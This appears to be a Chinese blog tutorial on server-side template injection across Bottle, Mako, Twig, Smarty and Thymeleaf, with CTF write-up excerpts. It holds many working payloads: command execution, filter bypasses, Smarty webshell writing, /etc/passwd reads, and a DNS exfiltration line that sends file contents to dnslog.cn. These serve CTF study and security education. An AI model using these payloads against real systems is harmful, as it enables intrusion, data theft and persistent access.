本文最后更新于 2026年7月2日 凌晨
SSTI中经常涉及到jinja之外的模版,这里我们来总结一下各种模版都有什么特征以及如何利用
快速判断模版类型 经典决策树 通过决策树我们可以解决大部分情况下的模版判断
报错探测 有时候题目会设置WAF,这就导致决策树可能走不通,这时候通过报错来探测模板类型就是一个好方法
Python模板引擎 Bottle 语法 Bottle使用SimpleTemplate引擎或简称为 stpl ,支持%语法。
SimpleTemplate 支持 Python 表达式,也因此容易出现 SSTI。
使用 类似 Python 的语法 (表达式、方法、属性访问)。
支持 变量替换 :{{ var }}。
支持 控制结构 (以 % 开头):例如 %if、%for、%while(常用 %if、%for)。
默认不提供严格的沙箱环境 —— 即模板中通常可以执行 Python 表达式 / 调用内建对象,存在 SSTI 风险。
特性 支持斜体、全角、八进制,非常容易绕过WAF
这里有一个速查表 Unicode - Compart
应用 [ISCTF2025]难过的 bottle 题目源码中给出了WAF
1 2 3 4 5 BLACKLIST = ["b" ,"c" ,"d" ,"e" ,"h" ,"i" ,"j" ,"k" ,"m" ,"n" ,"o" ,"p" ,"q" ,"r" ,"s" ,"t" ,"u" ,"v" ,"w" ,"x" ,"y" ,"z" ,"%" ,";" ,"," ,"<" ,">" ,":" ,"?" ] try : return template(content) except Exception as e: return f"渲染错误: {str (e)} "
它对上传的文件解压后进行渲染,可以从这里注入
大部分字母全过滤了,刚好剩一个 flag,关键字用全角绕过
1 {{open ('/flag' ).read()}}
也可以斜体绕过
补充——八进制绕过
1 {{ __import__('\1 57\1 63' ).popen('\1 43\1 41\1 64\0 40\0 57\1 46\1 54\1 41\1 47' ).read() }}
即:
1 {{__import__ ('os' ).popen('cat /flag' ).read()}}
[LilCTF2025]ez_bottle 大致思路就是/upload路由上传一个zip文件,然后bottle模版会渲染里面的文件
那么payload如何构造?bottle的waf还是比较好绕的
1 2 BLACK_DICT = ["{" , "}" , "os" , "eval" , "exec" , "sock" , "<" , ">" , "bul" , "class" , "?" , ":" , "bash" , "_" , "globals" , "get" , "open" ]
这里使用经典的单行嵌入python代码
但是这个题没有回显,可以利用报错输出,也可以dnslog外带
1 2 3 4 5 % import ºs % flag=ºs.pºpen('cat /flag' ).read () % raise Exception(flag) % import pty % pty.spawn(['/bin/sh' , '-c' , 'ping -c 1 `cat /flag|base64|tr -d "\n"`.abcdef.dnslog.cn' ])
[VNCTF2025]学生姓名管理系统 放这个题目主要是和上面的单行嵌入python代码做一下区分以及介绍一下通过海象运算符绕过长度限制的手法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ''' @File : app.py @Time : 2025/03/29 15:52:17 @Author : LamentXU ''' import bottle''' flag in /flag ''' @bottle.route('/' ) def index (): return 'Hello, World!' @bottle.route('/attack' ) def attack (): payload = bottle.request.query.get('payload' ) if payload and len (payload) < 5999 and 'open' not in payload and '\\' not in payload: return bottle.template('hello ' +payload) else : bottle.abort(400 , 'Invalid payload' )if __name__ == '__main__' : bottle.run(host='0.0.0.0' , port=5000 )
如果 <% ... %> 或 % ... 嵌入在普通文本中(无换行符分隔),则被视为普通文本,直接输出。
bottle.template('hello '+payload),这里是被嵌入在文本中的!!!
所以只能用{{ }}
这里有长度限制,可以通过海象运算符绕过
1 2 3 4 {{a: ='' }} %0a {{b: =a.__class__}} %0a {{c: =b.__base__}} %0a {{d: =c.__subc lasses__}} %0a {{e: =d()[156]}} %0a {{f: =e.__init__}} %0a {{g: =f.__global s__}} %0a {{z: ='__builtins__' }} %0a {{h: =g[z]}} %0a {{i: =h['op''en']}} %0 a {{x: =i("/flag" )}} %0a {{y: =x.read()}}
Mako 语法
使用 类似 Python 的语法 (表达式、方法、属性访问)。
支持 变量替换 :${ var }。
支持 控制结构 (以 % 开头):例如 %if、%for、%while(常用 %if、%for)。
默认不提供严格的沙箱环境 —— 即模板中通常可以执行 Python 表达式 / 调用内建对象,存在 SSTI 风险。
这里需要注意的一点是Mako不支持%单行python代码,只能使用python代码块
特性 支持Unicode字符
用法 网上可以找到的关于Mako SSTI的资料比较少,这里我用ai写了一个Mako复读机供测试使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from flask import Flask, request, render_template_stringfrom mako.template import Templateimport logging app = Flask(__name__) log = logging.getLogger('werkzeug' ) log.setLevel(logging.ERROR) HTML_TEMPLATE = """ <!DOCTYPE html> <html> <head> <title>Mako SSTI Test Lab (Multi-line)</title> <style> body { font-family: Arial, sans-serif; margin: 40px; background-color: #f4f4f9; } .container { max-width: 700px; margin: 0 auto; background: white; padding: 30px; border-radius: 8px; box-shadow: 0 4px 6px rgba(0,0,0,0.1); } textarea { width: 100%; height: 120px; padding: 10px; box-sizing: border-box; border: 1px solid #ccc; border-radius: 4px; resize: vertical; font-family: monospace; } .btn-container { margin-top: 10px; text-align: right; } input[type="submit"] { padding: 10px 20px; border: none; background-color: #007BFF; color: white; border-radius: 4px; cursor: pointer; font-size: 14px; } input[type="submit"]:hover { background-color: #0056b3; } .result { margin-top: 20px; padding: 15px; background-color: #e9ecef; border-left: 5px solid #28a745; border-radius: 4px; white-space: pre-wrap; word-break: break-all; font-family: monospace; } </style> </head> <body> <div class="container"> <h2>Mako 模板多行复读机 (SSTI 测试)</h2> <form method="POST" action="/"> <textarea name="code" placeholder="在此输入 Mako 模板内容... 例如: ${7*7}"></textarea> <div class="btn-container"> <input type="submit" value="渲染模板"> </div> </form> {% if result %} <div class="result"> <strong>渲染结果:</strong><br>{{ result | safe }} </div> {% endif %} </div> </body> </html> """ @app.route('/' , methods=['GET' , 'POST' ] ) def index (): result = '' if request.method == 'POST' : user_input = request.form.get('code' , '' ) if user_input: try : mako_template = Template(user_input) result = mako_template.render() except Exception as e: result = f"<span style='color:red;'>Mako 渲染报错: {str (e)} </span>" return render_template_string(HTML_TEMPLATE, result=result)if __name__ == '__main__' : print ("[+] Mako SSTI 测试环境已启动: http://127.0.0.1:5000" ) app.run(host='127.0.0.1' , port=5000 , debug=True )
代码执行 1 ${__import__ ('os' ).popen('whoami' ).read()}
Bypass 如果${}标识符被过滤,我们可以利用<%%>执行python代码,需要利用context.write()实现回显
1 <% context.write(__import__ ('os' ).popen('whoami' ).read()) %>
还可以利用控制结构实现盲注
1 2 3 % if getattr (getattr (open ("/" +"f" +"l" +"a" +"g" ), 'read' )(), '__getitem__' )(0 ) in 'f' : True_Flag % endif
应用 [LitCTF2026]lit_ezssti Wappalyzer 插件显示编程语言为 Python,先输入:
原样回显,再输入:
回显 WAF,说明应该是猜对了,后端模板引擎是 Mako,但是过滤了 $,可以用 Mako 代码块 <% ... %> 替代,输入:
1 <% context.write(__import__ ('os' ).popen('cat /flag' ).read()) %>
又回显 WAF,测试一下是过滤了 . 和 flag,把所有的 . 替换成 getattr(),flag 换成 fla*,输入:
1 <%getattr (context,'write' )(getattr (getattr (__import__ ('os' ),'popen' )('cat /fla*' ),'read' )())%>
(本题wp摘自LitCTF 2026 WEB方向全WP | 康可ing )
构造盲注也可以
PHP模版引擎 Twig 特性
使用统一的属性/方法访问语法 :使用点号 . 可以动态访问数组的键、对象的属性,或者调用对象的方法
支持求值与变量替换 :使用双大括号 {{ var }}。
支持标签控制结构 :使用 {% %} 标志,专门用于编写逻辑控制。
采用严格的默认安全隔离环境 :模板运行在专门的沙箱机制中,默认完全禁止直接调用原生的 PHP 危险函数(如 system()、eval())。发生 SSTI 风险时,通常需要依赖特定版本下暴露的内置魔术对象(如 _self.env)或特定的高级过滤器(如 filter、map)作为跳板来间接执行代码。
用法 使用过滤器实现RCE 新版 Twig(v3.x)删除了 _self 对象,但如果开发者在配置 Twig 时允许了一些特定对象传入,或者在某些特定场景下,利用 Twig 自身的循环/数组过滤器依然可以实现 RCE。
Twig 的 filter 允许传入一个回调函数来过滤数组。如果我们将数组元素设为命令,回调函数设为 system,就能直接触发:
1 {{ ["whoami"] | filter("system" ) }}
map原理与 filter 类似,使用 map 对数组中的每个元素执行指定的 PHP 函数:
1 {{ ["id; uname -a"] | map("system" ) }}
利用数组减少(归纳)过滤器,同样可以传入回调函数:
1 {{ ["whoami"] | reduce("system" ) }}
通杀Payload 1 2 3 4 5 {{["id"] |map("system" )|join("," )}} {{["id", 0] |sort("system" )|join("," )}} {{["id"] |filter("system" )|join("," )}} {{[0, 0] |reduce("system" , "id" )|join("," )}} {{{"<?php phpinfo();" :"/var/www/html/shell.php" }|map("file_put_contents" )}}
Smarty 特性
使用独树一帜的单大括号语法 :默认使用单大括号 { var } 作为其标识符,点号 . 用于访问数组键值或对象的属性/方法
支持原生的 PHP 表达式与变量赋值 :虽然它有自己的语法,但它允许在模板内直接声明和修改 PHP 变量(如 { assign var="name" value="value" }),甚至在未开启安全模式时,可以直接通过 { $cos = cos(0) } 这种形式调用 PHP 的原生内置函数。
支持特殊的原生代码块和闭合控制标签 :使用 { if }...{ /if }、{ foreach }...{ /foreach } 来编写逻辑控制。更特殊的是,它为了兼容原生 PHP,甚至自带了专用的代码块标签,允许直接在模板里嵌入原生的 PHP 代码(如老版本中的 { php } ... { /php } 标签)。
“开门大吉”的默认非沙箱环境(SSTI 的重灾区) :Smarty 在默认配置下几乎不提供任何沙箱隔离 。这意味着一旦存在用户可控的 SSTI,攻击者不需要像 Twig 那样寻找复杂的子类链或特定的过滤器,直接利用其内置的特殊标签(如 { php }、{ include_php })或者直接调用 PHP 危险函数。
用法 直接RCE 由于Smarty3的默认非沙箱环境,RCE非常简单
1 {passthru ('id; uname -a' )}
PHP标签 在非常老的 Smarty v2 中,或者在 Smarty 3 中手动开启了允许原生 PHP 标签的环境下,可以直接这样写:
1 {php} system('whoami'); {/php }
Smarty (v4.x / v5.x) 严格模式绕过 Smarty 4 或 Smarty 5 已经默认禁用了 {system()} 这种直接调用原生 PHP 函数的越权行为。但由于 Smarty 复杂的对象设计,依然可以通过其内置的静态类或内置方法实现完美绕过:
写webshell
1 {Smarty_Internal_Runtime_WriteFile::writeFile('shell.php', ' <?php phpinfo (); ?> ', $smarty.template_object->smarty)}
读敏感文件
1 {fetch file= "/etc/passwd" }
1 {$smarty.template_object-> getStreamVariable ('file :
Java模板引擎 Thymeleaf 特性
独创的“原型即模板”语法 :它不破坏原生 HTML 的结构。它通过在 HTML 标签中添加特有的属性前缀(如 th:text、th:value)来嵌入动态逻辑。这意味着即使用浏览器直接双击打开 .html 源码,页面也能正常显示静态排版。
基于表达式语言(EL)进行变量替换 :使用 ${ var } 标识符。其底层高度依赖 OGNL (标准 Java 环境)或 SpEL (Spring 环境)表达式语言。大括号内不仅能写变量,还可以直接编写复杂的 Java 代码(如对象实例化、方法调用)。
支持多功能的片段表达式 :使用 ~{ templateName :: fragmentName } 语法。它允许在一个 HTML 页面中动态引入另一个页面的某个片段(类似于组件化开发)。
表面严格、实则依赖上下文的沙箱环境 :Thymeleaf 自身有一套静态黑名单(禁止直接调用 java.lang.Runtime 等危险对象)。但在 Spring 环境中,由于它允许通过 @beanName 直接调用 Spring 容器中的任意公开 Bean(如 @environment 或各种辅助工具类),这使得安全测试人员常常能通过 Spring 的上下文生态轻松绕过其原生沙箱。
用法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package com.roboterh.fastjsondemo.controller;import org.springframework.stereotype.Controller;import org.springframework.ui.Model;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestParam;@Controller public class ThymeleafController { @GetMapping("/") public String index (Model model) { model.addAttribute("message" , "world" ); return "hello" ; } @GetMapping("/cmd") public String eval (@RequestParam String cmd) { return cmd; } }
读取任意文件 1 __${new java.io .BufferedReader (new java.io .FileReader ('/flag' )).readLine ()}__::x
远程命令执行(RCE) 如果你想执行系统命令(比如弹出计算器或反弹 Shell),可以利用 Java 的 Runtime 类:
1 http: //localhost:8080/cmd ?cmd=__${ T(java.lang.Runtime ).getRuntime().exec('calc' )}__: :x
文件上传
如果有文件上传漏洞的话,我们可以通过覆盖原路由读取的html文件来实现ssti
1 2 3 4 5 6 7 8 9 10 11 <!DOCTYPE html > <html lang ="en" xmlns:th ="http://www.thymeleaf.org" > <head > <meta charset ="UTF-8" > <title > Test</title > </head > <body > <div th:fragment ="main" > <span th:text ="'hello ' + ${message}" > </span > </div > </body > </html >
参考文献 Bottle框架的ssti、内存马、污染深入浅出-先知社区
Python Bottle SSTI注入 | Jatopos的博客
bottlepy template - Simple Love - 博客园
Mako模板引擎以及沙箱机制-先知社区
TWIG 全版本通用 SSTI payloads-先知社区
Smarty 最新 SSTI 总结-先知社区
完全搞懂Thymeleaf SSTI - FreeBuf网络安全行业门户